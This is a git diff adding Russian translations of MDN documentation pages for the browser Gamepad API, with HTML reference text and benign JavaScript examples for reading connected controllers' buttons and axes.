+</dl>
+
+<h4 id="События_окна">События окна</h4>
+
+<dl>
+ <dt>{{domxref("Window.ongamepadconnected")}}</dt>
+ <dd>Представляет собой обработчик событий, который будет выполняться при подключении геймпада (когда срабатывает событие {{event('gamepadconnected')}}).</dd>
+ <dt>{{domxref("Window.ongamepaddisconnected")}}</dt>
+ <dd>Представляет собой обработчик событий, который будет выполняться при отключении геймпада (когда срабатывает событие {{event('gamepaddisconnected')}}).</dd>
+</dl>
+
+<dl>
+</dl>
+
+<h2 id="Учебные_пособия_и_руководства">Учебные пособия и руководства</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/Gamepad_API/Using_the_Gamepad_API">Using the Gamepad API</a></li>
+ <li><a href="/en-US/docs/Games/Techniques/Controls_Gamepad_API">Implementing controls using the Gamepad API</a></li>
+</ul>
+
+<h2 id="Технические_характеристики">Технические характеристики</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Примечание</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("GamepadExtensions")}}</td>
+   <td>{{Spec2("GamepadExtensions")}}</td>
+   <td>Определяет {{anch("Experimental Gamepad extensions")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("Gamepad", "", "The Gamepad API specification")}}</td>
+   <td>{{Spec2("Gamepad")}}</td>
+   <td>Первононачальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузера">Совместимость браузера</h2>
+
+<div class="hidden">Таблица совместимости на этой странице создается на основе структурированных данных. Если вы хотите внести свой вклад в эти данные, пожалуйста, проверьте: <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("api.Gamepad")}}</p>
+
+<h2 id="Прочтите_также">Прочтите также</h2>
+
+<ul>
+ <li><a class="external text" href="https://hacks.mozilla.org/2013/12/the-gamepad-api/" rel="nofollow">The Gamepad API</a>, авторы: Тед Мельчарек и Роберт Найман</li>
+ <li><a href="http://luser.github.io/gamepadtest/">Simple API demo page</a> (<a href="https://github.com/luser/gamepadtest">source</a>)</li>
+</ul>
diff --git a/files/ru/web/api/gamepad_api/using_the_gamepad_api/index.html b/files/ru/web/api/gamepad_api/using_the_gamepad_api/index.html
new file mode 100644
index 0000000000..6dea1ea38c
--- /dev/null
+++ b/files/ru/web/api/gamepad_api/using_the_gamepad_api/index.html
@@ -0,0 +1,341 @@
+---
+title: Using the Gamepad API
+slug: Web/API/Gamepad_API/Using_the_Gamepad_API
+translation_of: Web/API/Gamepad_API/Using_the_Gamepad_API
+---
+<p>{{DefaultAPISidebar("Gamepad API")}}</p>
+
+<p><span class="seoSummary">HTML5 представляет большое количесво необходимых компонентов для полной и интерактивной разработки игр. Такие технологии, как <code>&lt;canvas&gt;</code>, WebGL, <code>&lt;audio&gt;</code>, и <code>&lt;video&gt;</code>, вместе с Javascript сейчас поддерживают большое количество задач, для которых раньше требовались нативные программы.  Gamepad API - это способ полученния данных с геймпада и других игровых контроллеров. </span></p>
+
+<p><a href="/en-US/docs/Web/API/Gamepad_API">Gamepad API</a> добавляет в  объект {{ domxref("Window") }}  новые события для получения событий контроллера. Дополнительно к этим событиям, API также добавляет объект {{ domxref("Gamepad") }}, который позволяет получить  состояние подключенного контроллера, и метод {{ domxref("navigator.getGamepads()") }} который позволяет получить все контроллеры, определенные на странице браузера.</p>
+
+<h2 id="conntecting" name="conntecting">Подключение геймпада</h2>
+
+<p>Когда новый  геймпад подключается, на странице страбатывают события  {{ domxref("Window/gamepadconnected_event", "gamepadconnected") }}. Если геймпад уже был подключен к моменту загрузки страницы, события  {{ domxref("Window/gamepadconnected_event", "gamepadconnected") }} сработают, когда пользователь нажмет на любую кнопку или передвинет стики. </p>
+
+<div class="blockIndicator geckoVersionNote">
+<p>В Firefox геймпад определяется только тогда, когда пользователь взаимодействует с ним, и при этом страница видна и в фокусе. Это помогает предотвратить использование геймпадов для идентификации пользователя. После взаимодействия с одним геймпадом другие подключенные геймпады будут автоматически видны.</p>
+</div>
+
+<p>Вы можете использовать  {{domxref("Window/gamepadconnected_event", "gamepadconnected")}} как в примере:</p>
+
+<pre class="brush: js; notranslate">window.addEventListener("gamepadconnected", function(e) {
+  console.log("Gamepad connected at index %d: %s. %d buttons, %d axes.",
+    e.gamepad.index, e.gamepad.id,
+    e.gamepad.buttons.length, e.gamepad.axes.length);
+});
+</pre>
+
+<p>Каждый геймпад имеет уникальный ID, который доступен в свойстве {{domxref("GamepadEvent.gamepad", "gamepad")}}.</p>
+
+<h2 id="disconnecting" name="disconnecting">Отключение геймпада</h2>
+
+<p>When a gamepad is disconnected, and if a page has previously received data for that gamepad (e.g. {{ domxref("Window/gamepadconnected_event", "gamepadconnected") }}), a second event is dispatched to the focused window, {{ event("gamepaddisconnected") }}:</p>
+
+<pre class="brush: js notranslate">window.addEventListener("gamepaddisconnected", function(e) {
+  console.log("Gamepad disconnected from index %d: %s",
+    e.gamepad.index, e.gamepad.id);
+});</pre>
+
+<p>The gamepad's {{domxref("Gamepad.index", "index")}} property will be unique per-device connected to the system, even if multiple controllers of the same type are used. The <code>index</code> property also functions as the index into the {{jsxref("Array")}} returned by {{ domxref("Navigator.getGamepads()") }}.</p>
+
+<pre class="brush: js notranslate">var gamepads = {};
+
+function gamepadHandler(event, connecting) {
+  var gamepad = event.gamepad;
+  // Note:
+  // gamepad === navigator.getGamepads()[gamepad.index]
+
+  if (connecting) {
+    gamepads[gamepad.index] = gamepad;
+  } else {
+    delete gamepads[gamepad.index];
+  }
+}
+
+window.addEventListener("gamepadconnected", function(e) { gamepadHandler(e, true); }, false);
+window.addEventListener("gamepaddisconnected", function(e) { gamepadHandler(e, false); }, false);
+</pre>
+
+<p>This previous example also demonstrates how the <code>gamepad</code> property can be held after the event has completed — a technique we will use for device state querying later.</p>
+
+<h2 id="querying" name="querying">Querying the Gamepad object</h2>
+
+<p>As you can see, the <strong>gamepad</strong> events discussed above include a <code>gamepad</code> property on the event object, which returns a {{ domxref("Gamepad") }} object. We can use this in order to determine which gamepad (i.e., its ID) had caused the event, since multiple gamepads might be connected at once. We can do much more with the {{ domxref("Gamepad") }} object, including holding a reference to it and querying it to find out which buttons and axes are being pressed at any one time. Doing so is often desirable for games or other interactive web pages that need to know the state of a gamepad now vs. the next time an event fires.</p>
+
+<p>Performing such checks tends to involve using the {{ domxref("Gamepad") }} object in conjunction with an animation loop (e.g., {{ domxref("Window.requestAnimationFrame","requestAnimationFrame") }}), where developers want to make decisions for the current frame based on the state of the gamepad or gamepads.</p>
+
+<p>The {{domxref("Navigator.getGamepads()")}} method returns an array of all devices currently visible to the webpage, as {{ domxref("Gamepad") }} objects (the first value is always <code>null</code>, so <code>null</code> will be returned if there are no gamepads connected.) This can then be used to get the same information. For example, the first code example above you be rewritten as shown below:</p>
+
+<pre class="brush: js notranslate">window.addEventListener("gamepadconnected", function(e) {
+  var gp = navigator.getGamepads()[e.gamepad.index];
+  console.log("Gamepad connected at index %d: %s. %d buttons, %d axes.",
+    gp.index, gp.id,
+    gp.buttons.length, gp.axes.length);
+});</pre>
+
+<p>The {{ domxref("Gamepad") }} object's properties are as follows:</p>
+
+<ul>
+ <li><code>id</code>: A string containing some information about the controller. This is not strictly specified, but in Firefox it will contain three pieces of information separated by dashes (<code>-</code>): two 4-digit hexadecimal strings containing the USB vendor and product id of the controller, and the name of the controller as provided by the driver. This information is intended to allow you to find a mapping for the controls on the device as well as display useful feedback to the user.</li>
+ <li><code>index</code>: An integer that is unique for each gamepad currently connected to the system. This can be used to distinguish multiple controllers. Note that disconnecting a device and then connecting a new device may reuse the previous index.</li>
+ <li><code>mapping</code>: A string indicating whether the browser has remapped the controls on the device to a known layout. Currently there is only one supported known layout — the <a href="https://dvcs.w3.org/hg/gamepad/raw-file/default/gamepad.html#remapping">standard gamepad</a>. If the browser is able to map controls on the device to that layout the <code>mapping</code> property will be set to the string <code>standard</code>.</li>
+ <li><code>connected</code>: A boolean indicating whether the gamepad is still connected to the system. If this is so the value is <code>True</code>; if not, it is <code>False</code>.</li>
+ <li><code>buttons</code>: An array of {{ domxref("GamepadButton") }} objects representing the buttons present on the device. Each {{ domxref("GamepadButton") }} has a <code>pressed</code> and a <code>value</code> property:
+  <ul>
+   <li>The <code>pressed</code> property is a boolean indicating whether the button is currently pressed (<code>true</code>) or unpressed (<code>false</code>).</li>
+   <li>The <code>value</code> property is a floating point value used to enable representing analog buttons, such as the triggers on many modern gamepads. The values are normalized to the range 0.0..1.0, with 0.0 representing a button that is not pressed, and 1.0 representing a button that is fully pressed.</li>
+  </ul>
+ </li>
+ <li><code>axes</code>: An array representing the controls with axes present on the device (e.g. analog thumb sticks). Each entry in the array is a floating point value in the range -1.0 - 1.0, representing the axis position from the lowest value (-1.0) to the highest value (1.0).</li>
+ <li><code>timestamp</code>: This returns a {{ domxref("DOMHighResTimeStamp") }} representing the last time the data for this gamepad was updated, allowing developers to determine if the <code>axes</code> and <code>button</code> data have been updated from the hardware. The value must be relative to the <code>navigationStart</code> attribute of the {{ domxref("PerformanceTiming") }} interface. Values are monotonically increasing, meaning that they can be compared to determine the ordering of updates, as newer values will always be greater than or equal to older values. Note that this property is not currently supported in Firefox.</li>
+</ul>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: The Gamepad object is available on the {{ domxref("Window/gamepadconnected_event", "gamepadconnected") }} event rather than the {{ domxref("Window") }} object itself, for security reasons. Once we have a reference to it, we can query its properties for information about the current state of the gamepad. Behind the scenes, this object will be updated every time the gamepad's state changes.</p>
+</div>
+
+<h3 id="Using_button_information">Using button information</h3>
+
+<p>Let's look at a simple example that displays connection information for one gamepad (it ignores subsequent gamepad connections) and allows you to move a ball around the screen using the four gamepad buttons on the right hand side of the gamepad. You can <a href="http://chrisdavidmills.github.io/gamepad-buttons/">view the demo live</a>, and <a href="https://github.com/chrisdavidmills/gamepad-buttons/tree/master">find the source code</a> on Github.</p>
+
+<p>To start with, we declare some variables: The <code>gamepadInfo</code> paragraph that the connection info is written into, the <code>ball</code> that we want to move, the <code>start</code> variable that acts as the ID for <code>requestAnimation Frame</code>, the <code>a</code> and <code>b</code> variables that act as position modifiers for moving the ball, and the shorthand variables that will be used for the {{ domxref("Window.requestAnimationFrame", "requestAnimationFrame()") }} and {{ domxref("Window.cancelAnimationFrame", "cancelAnimationFrame()") }} cross browser forks.</p>
+
+<pre class="brush: js notranslate">var gamepadInfo = document.getElementById("gamepad-info");
+var ball = document.getElementById("ball");
+var start;
+var a = 0;
+var b = 0;
+</pre>
+
+<p>Next we use the {{domxref("Window/gamepadconnected_event", "gamepadconnected")}} event to check for a gamepad being connected. When one is connected, we grab the gamepad using {{ domxref("Navigator.getGamepads()") }}<code>[0]</code>, print information about the gamepad into our gamepad info <code>div</code>, and fire the <code>gameLoop()</code> function that starts the whole ball movement process up.</p>
+
+<pre class="brush: js notranslate">window.addEventListener("gamepadconnected", function(e) {
+  var gp = navigator.getGamepads()[e.gamepad.index];
+  gamepadInfo.innerHTML = "Gamepad connected at index " + gp.index + ": " + gp.id + ". It has " + gp.buttons.length + " buttons and " + gp.axes.length + " axes.";
+
+  gameLoop();
+});</pre>
+
+<p>Now we use the {{domxref("Window/gamepaddisconnected_event", "gamepaddisconnected")}} event to check if the gamepad is disconnected again. If so, we stop the {{DOMxRef("Window.requestAnimationFrame", "requestAnimationFrame()")}} loop (see below) and revert the gamepad information back to what it was originally.</p>
+
+<pre class="brush: js notranslate">window.addEventListener("gamepaddisconnected", function(e) {
+  gamepadInfo.innerHTML = "Waiting for gamepad.";
+
+  cancelRequestAnimationFrame(start);
+});</pre>
+
+<p>Chrome does things differently here. Instead of constantly storing the gamepad's latest state in a variable it only stores a snapshot, so to do the same thing in Chrome you have to keep polling it and then only use the {{ domxref("Gamepad") }} object in code when it is available. We have done this below using {{ domxref("Window.setInterval()") }}; once the object is available the gamepad info is outputted, the game loop is started, and the interval is cleared using {{ domxref("Window.clearInterval()") }}. Note that in older versions of Chrome {{ domxref("Navigator.getGamepads()") }} is implemented with a <code>webkit</code> prefix. We attempt to detect and handle both the prefixed version and the standard version of the function for backwards compatibility.</p>
+
+<pre class="brush: js notranslate">var interval;
+
+if (!('ongamepadconnected' in window)) {
+  // No gamepad events available, poll instead.
+  interval = setInterval(pollGamepads, 500);
+}
+
+function pollGamepads() {
+  var gamepads = navigator.getGamepads ? navigator.getGamepads() : (navigator.webkitGetGamepads ? navigator.webkitGetGamepads : []);
+  for (var i = 0; i &lt; gamepads.length; i++) {
+    var gp = gamepads[i];
+    if (gp) {
+      gamepadInfo.innerHTML = "Gamepad connected at index " + gp.index + ": " + gp.id +
+        ". It has " + gp.buttons.length + " buttons and " + gp.axes.length + " axes.";
+      gameLoop();
+      clearInterval(interval);
+    }
+  }
+}</pre>
+
+<p>Now on to the main game loop. In each execution of the loop we check if one of four buttons is being pressed; if so, we update the values of the <code>a</code> and <code>b</code> movement variables appropriately, then update the {{ cssxref("left") }} and {{ cssxref("top") }} properties, changing their values to the current values of <code>a</code> and <code>b</code> respectively. This has the effect of moving the ball around the screen.  In current versions of Chrome (version 34 as of this writing) the button values are stored as an array of double values, instead of {{ domxref("GamepadButton") }} objects. This is fixed in development versions.</p>
+
+<p>After all this is done, we use our <code>requestAnimationFrame()</code> to request the next animation frame, running <code>gameLoop()</code> again.</p>
+
+<pre class="brush: js notranslate">function buttonPressed(b) {
+  if (typeof(b) == "object") {
+    return b.pressed;
+  }
+  return b == 1.0;
+}
+
+function gameLoop() {
+  var gamepads = navigator.getGamepads ? navigator.getGamepads() : (navigator.webkitGetGamepads ? navigator.webkitGetGamepads : []);
+  if (!gamepads) {
+    return;
+  }
+
+  var gp = gamepads[0];
+  if (buttonPressed(gp.buttons[0])) {
+    b--;
+  } else if (buttonPressed(gp.buttons[2])) {
+    b++;
+  }
+  if (buttonPressed(gp.buttons[1])) {
+    a++;
+  } else if (buttonPressed(gp.buttons[3])) {
+    a--;
+  }
+
+  ball.style.left = a * 2 + "px";
+  ball.style.top = b * 2 + "px";
+
+  start = requestAnimationFrame(gameLoop);
+}</pre>
+
+<h2 id="Complete_example_Displaying_gamepad_state">Complete example: Displaying gamepad state</h2>
+
+<p>This example shows how to use the {{ domxref("Gamepad") }} object, as well as the {{ domxref("Window/gamepadconnected_event", "gamepadconnected") }} and {{domxref("Window/gamepaddisconnected_event", "gamepaddisconnected")}} events in order to display the state of all gamepads connected to the system. You can find a <a href="http://luser.github.io/gamepadtest/">working demo</a> and look at the <a href="https://github.com/luser/gamepadtest">full source code</a> on Github.</p>
+
+<pre class="brush: js notranslate">var haveEvents = 'ongamepadconnected' in window;
+var controllers = {};
+
+function connecthandler(e) {
+  addgamepad(e.gamepad);
+}
+
+function addgamepad(gamepad) {
+  controllers[gamepad.index] = gamepad;
+
+  var d = document.createElement("div");
+  d.setAttribute("id", "controller" + gamepad.index);
+
+  var t = document.createElement("h1");
+  t.appendChild(document.createTextNode("gamepad: " + gamepad.id));
+  d.appendChild(t);
+
+  var b = document.createElement("div");
+  b.className = "buttons";
+  for (var i = 0; i &lt; gamepad.buttons.length; i++) {
+    var e = document.createElement("span");
+    e.className = "button";
+    //e.id = "b" + i;
+    e.innerHTML = i;
+    b.appendChild(e);
+  }
+
+  d.appendChild(b);
+
+  var a = document.createElement("div");
+  a.className = "axes";
+
+  for (var i = 0; i &lt; gamepad.axes.length; i++) {
+    var p = document.createElement("progress");
+    p.className = "axis";
+    //p.id = "a" + i;
+    p.setAttribute("max", "2");
+    p.setAttribute("value", "1");
+    p.innerHTML = i;
+    a.appendChild(p);
+  }
+
+  d.appendChild(a);
+
+  // See https://github.com/luser/gamepadtest/blob/master/index.html
+  var start = document.getElementById("start");
+  if (start) {
+    start.style.display = "none";
+  }
+
+  document.body.appendChild(d);
+  requestAnimationFrame(updateStatus);
+}
+
+function disconnecthandler(e) {
+  removegamepad(e.gamepad);
+}
+
+function removegamepad(gamepad) {
+  var d = document.getElementById("controller" + gamepad.index);
+  document.body.removeChild(d);
+  delete controllers[gamepad.index];
+}
+
+function updateStatus() {
+  if (!haveEvents) {
+    scangamepads();
+  }
+
+  var i = 0;
+  var j;
+
+  for (j in controllers) {
+    var controller = controllers[j];
+    var d = document.getElementById("controller" + j);
+    var buttons = d.getElementsByClassName("button");
+
+    for (i = 0; i &lt; controller.buttons.length; i++) {
+      var b = buttons[i];
+      var val = controller.buttons[i];
+      var pressed = val == 1.0;
+      if (typeof(val) == "object") {
+        pressed = val.pressed;
+        val = val.value;
+      }
+
+      var pct = Math.round(val * 100) + "%";
+      b.style.backgroundSize = pct + " " + pct;
+
+      if (pressed) {
+        b.className = "button pressed";
+      } else {
+        b.className = "button";
+      }
+    }
+
+    var axes = d.getElementsByClassName("axis");
+    for (i = 0; i &lt; controller.axes.length; i++) {
+      var a = axes[i];
+      a.innerHTML = i + ": " + controller.axes[i].toFixed(4);
+      a.setAttribute("value", controller.axes[i] + 1);
+    }
+  }
+
+  requestAnimationFrame(updateStatus);
+}
+
+function scangamepads() {
+  var gamepads = navigator.getGamepads ? navigator.getGamepads() : (navigator.webkitGetGamepads ? navigator.webkitGetGamepads() : []);
+  for (var i = 0; i &lt; gamepads.length; i++) {
+    if (gamepads[i]) {
+      if (gamepads[i].index in controllers) {
+        controllers[gamepads[i].index] = gamepads[i];
+      } else {
+        addgamepad(gamepads[i]);
+      }
+    }
+  }
+}
+
+window.addEventListener("gamepadconnected", connecthandler);
+window.addEventListener("gamepaddisconnected", disconnecthandler);
+
+if (!haveEvents) {
+ setInterval(scangamepads, 500);
+}</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Gamepad", "#gamepad-interface", "Gamepad")}}</td>
+   <td>{{Spec2("Gamepad")}}</td>
+   <td>Initial defintion</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.Gamepad")}}</p>
diff --git a/files/ru/web/api/gamepadbutton/index.html b/files/ru/web/api/gamepadbutton/index.html
new file mode 100644
index 0000000000..c119ee2401
--- /dev/null
+++ b/files/ru/web/api/gamepadbutton/index.html
@@ -0,0 +1,85 @@
+---
+title: GamepadButton
+slug: Web/API/GamepadButton
+translation_of: Web/API/GamepadButton
+---
+<div>{{APIRef("Gamepad API")}}</div>
+
+<div>Интерфейс <code><strong>GamepadButton</strong></code> определяет отдельную кнопку геймпада или другого контроллера, позволяя получить доступ к текущему состоянию различных типов кнопок, доступных на устройстве</div>
+
+<p>Объект <strong><code>GamepadButton</code></strong> возвращается путем получения любого элемента в массиве <code>buttons</code>, который является свойством интерфейса {{domxref("Gamepad")}}.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Это работает только в  Firefox Gecko 28 и выше;  Chrome и более ранние версии  Firefox по-прежнему возвращают массив чисел с плавающей точкой</p>
+</div>
+
+<h2 id="Свойства">Свойства</h2>
+
+<dl>
+ <dt>{{domxref("GamepadButton.value")}} {{readonlyInline}}</dt>
+ <dd>Значение с плавающей точкой, указывающее на текущее состояние аналоговых кнопок, таких как триггеры на многих современных геймпадах. Значение нормализованно к диапазону 0.0-1.0, где 0.0 означает, что клавиша не нажата совсем, 1.0 - нажата полностью.</dd>
+ <dt>{{domxref("GamepadButton.pressed")}} {{readonlyInline}}</dt>
+ <dd>Значение {{domxref("Boolean")}} указывает, нажата ли кнопка (<code>true</code>) или не нажата (<code>false</code>).</dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Приведенный код взят из моего<em> (автора статьи)</em> демо Gamepad API button (вы можете  <a href="http://chrisdavidmills.github.io/gamepad-buttons/">Посмотреть демо</a>, и <a href="https://github.com/chrisdavidmills/gamepad-buttons/tree/master">посмотреть исходники на GitHub</a>). Важно — в Chrome {{domxref("Navigator.getGamepads")}} неободимо установить префикс <code>webkit</code>, и значения кнопки будут представлять из себя массив дробных чисел, тогда как в  Firefox {{domxref("Navigator.getGamepads")}} нет необходимости устанавливать префикс, и значения будут представлять собой массив  объектов {{domxref("GamepadButton")}}; Свойство {{domxref("GamepadButton.value")}} или {{domxref("GamepadButton.pressed")}} необходимо для получения состояния кнопки, в зависимости от от типа кнопки. В данном простом примере обрабатывается оба вида кнопок.</p>
+
+<pre class="brush: js notranslate">function gameLoop() {
+  if(navigator.webkitGetGamepads) {
+    var gp = navigator.webkitGetGamepads()[0];
+
+    if(gp.buttons[0] == 1) {
+      b--;
+    } else if(gp.buttons[1] == 1) {
+      a++;
+    } else if(gp.buttons[2] == 1) {
+      b++;
+    } else if(gp.buttons[3] == 1) {
+      a--;
+    }
+  } else {
+    var gp = navigator.getGamepads()[0];
+
+    if(gp.buttons[0].value &gt; 0 || gp.buttons[0].pressed == true) {
+      b--;
+    } else if(gp.buttons[1].value &gt; 0 || gp.buttons[1].pressed == true) {
+      a++;
+    } else if(gp.buttons[2].value &gt; 0 || gp.buttons[2].pressed == true) {
+      b++;
+    } else if(gp.buttons[3].value &gt; 0 || gp.buttons[3].pressed == true) {
+      a--;
+    }
+  }
+
+  ball.style.left = a*2 + "px";
+  ball.style.top = b*2 + "px";
+
+  var start = window.requestAnimationFrame(gameLoop);
+};</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Gamepad", "#gamepadbutton-interface", "GamepadButton")}}</td>
+   <td>{{Spec2("Gamepad")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{Compat("api.GamepadButton")}}</p>
+
+<h2 id="См._также">См. также</h2>
+
+<p><a href="/en-US/docs/Web/Guide/API/Gamepad">Using the Gamepad API</a></p>
diff --git a/files/ru/web/api/gamepadbutton/pressed/index.html b/files/ru/web/api/gamepadbutton/pressed/index.html
new file mode 100644
index 0000000000..5222968bcc
--- /dev/null
+++ b/files/ru/web/api/gamepadbutton/pressed/index.html
@@ -0,0 +1,52 @@
+---
+title: GamepadButton.pressed
+slug: Web/API/GamepadButton/pressed
+translation_of: Web/API/GamepadButton/pressed
+---
+<p>{{APIRef("Gamepad API")}}</p>
+
+<p>Свойство <code><strong>GamepadButton.pressed</strong></code> интерфейса {{domxref("GamepadButton")}} возвращает <code>boolean</code>, указыващий, нажата ли текущая кнопка (<code>true</code>), или нет (<code>false</code>).</p>
+
+<h2 id="Синтакс">Синтакс</h2>
+
+<pre class="syntaxbox notranslate"><span class="idlInterface" id="idl-def-GamepadButton"><span class="idlAttribute">var isPressed = navigator.getGamepads()[0].pressed;
+</span></span></pre>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js notranslate">var gp = navigator.getGamepads()[0]; // Get the first gamepad object
+
+if(gp.buttons[0].pressed == true) {
+  // respond to button being pressed
+}</pre>
+
+<h2 id="Значение">Значение</h2>
+
+<p> {{domxref("boolean")}}.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Gamepad", "#dom-gamepadbutton-pressed", "GamepadButton.pressed")}}</td>
+   <td>{{Spec2("Gamepad")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{Compat("api.GamepadButton.pressed")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/API/Gamepad">Using the Gamepad API</a></li>
+</ul>
diff --git a/files/ru/web/api/gamepadbutton/value/index.html b/files/ru/web/api/gamepadbutton/value/index.html
new file mode 100644
index 0000000000..a1ccad261f
--- /dev/null
+++ b/files/ru/web/api/gamepadbutton/value/index.html
@@ -0,0 +1,51 @@
+---
+title: GamepadButton.value
+slug: Web/API/GamepadButton/value
+translation_of: Web/API/GamepadButton/value
+---
+<p>{{APIRef("Gamepad API")}}</p>
+
+<p>Свойство <code><strong>GamepadButton.value</strong></code>  интерфейса {{domxref("GamepadButton")}} возвращает состояние аналоговой клавиши геймпада, такой, как, например триггеры. </p>
+
+<p>Пердставляет собой дробное число в диапазоне  <code>0.0</code> — <code>1.0</code>,  где <code>0.0</code> показывает, что кнопка не нажата, а 1.0 - что нажата полностью.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate"><span class="idlInterface" id="idl-def-GamepadButton"><span class="idlAttribute">    readonly    attribute <span class="idlAttrType">double</span>  <span class="idlAttrName">value</span>;</span></span></pre>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js notranslate">var gp = navigator.getGamepads()[0];
+
+if(gp.buttons[0].value &gt; 0) {
+  // respond to analog button being pressed in
+} </pre>
+
+<h2 id="Значение">Значение</h2>
+
+<p> {{domxref("double")}}.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Gamepad", "#dom-gamepadbutton-value", "GamepadButton.value")}}</td>
+   <td>{{Spec2("Gamepad")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{Compat("api.GamepadButton.value")}}</p>
+
+<h2 id="См._также">См. также</h2>
+
+<p><a href="/en-US/docs/Web/Guide/API/Gamepad">Using the Gamepad API</a></p>
diff --git a/files/ru/web/api/gamepadevent/gamepad/index.html b/files/ru/web/api/gamepadevent/gamepad/index.html
new file mode 100644
index 0000000000..903e5e0916
--- /dev/null
+++ b/files/ru/web/api/gamepadevent/gamepad/index.html
@@ -0,0 +1,55 @@
+---
+title: GamepadEvent.gamepad
+slug: Web/API/GamepadEvent/gamepad
+translation_of: Web/API/GamepadEvent/gamepad
+---
+<div>{{APIRef("Gamepad API")}}</div>
+
+<p>Свойство <code><strong>GamepadEvent.gamepad</strong></code>, интерфейса <strong>{{domxref("GamepadEvent")}},</strong> возвращает объект {{domxref("Gamepad")}}, предоставляющий доступ к данным геймпада для событий <code><a href="/ru/docs/Web/Events/gamepadconnected">gamepadconnected</a></code> и <code><a href="/ru/docs/Web/Events/gamepaddisconnected">gamepaddisconnected</a></code>.</p>
+
+<div class="note">
+<p><strong>Примечание</strong>: Эти события не возникают Chrome, только в Firefox. В Chrome Вы должны использовать {{domxref("Navigator.getGamepads")}} для доступа к объекту {{domxref("Gamepad")}}.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">readonly    attribute Gamepad gamepad;</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Свойство <code>gamepad</code> будет передано при возникновении события <code><a href="/ru/docs/Web/Events/gamepadconnected">Window.gamepadconnected</a></code>.</p>
+
+<pre class="brush: js">window.addEventListener("gamepadconnected", function(e) {
+  console.log("Gamepad connected at index %d: %s. %d buttons, %d axes.",
+  e.gamepad.index, e.gamepad.id,
+  e.gamepad.buttons.length, e.gamepad.axes.length);
+});</pre>
+
+<h2 id="Значение">Значение</h2>
+
+<p>Объект {{domxref("Gamepad")}}.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Gamepad", "#widl-GamepadEvent-gamepad", "GamepadEvent.gamepad")}}</td>
+   <td>{{Spec2("Gamepad")}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("api.GamepadEvent.gamepad")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<p><a href="/en-US/docs/Web/Guide/API/Gamepad">Using the Gamepad API</a></p>
diff --git a/files/ru/web/api/gamepadevent/index.html b/files/ru/web/api/gamepadevent/index.html
new file mode 100644
index 0000000000..b0317ba076
--- /dev/null
+++ b/files/ru/web/api/gamepadevent/index.html
@@ -0,0 +1,57 @@
+---
+title: GamepadEvent
+slug: Web/API/GamepadEvent
+translation_of: Web/API/GamepadEvent
+---
+<p>{{APIRef("Gamepad API")}}</p>
+
+<p><code>GamepadEvent</code> интерфейс {{ domxref("Gamepad API")}} содержит ссылки на геймпады, подключенные к системе, передающиеся при возникновении событий <a href="/ru/docs/Web/Events/gamepadconnected">Window.gamepadconnected</a> и <a href="/ru/docs/Web/Events/gamepaddisconnected">Window.gamepaddisconnected</a>.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<dl>
+ <dt>{{ domxref("GamepadEvent.gamepad") }} {{ReadOnlyInline}}</dt>
+ <dd>Возвращает объект {{ domxref("Gamepad") }}, предоставляющий доступ к данным геймпада, для возникнувшего события.</dd>
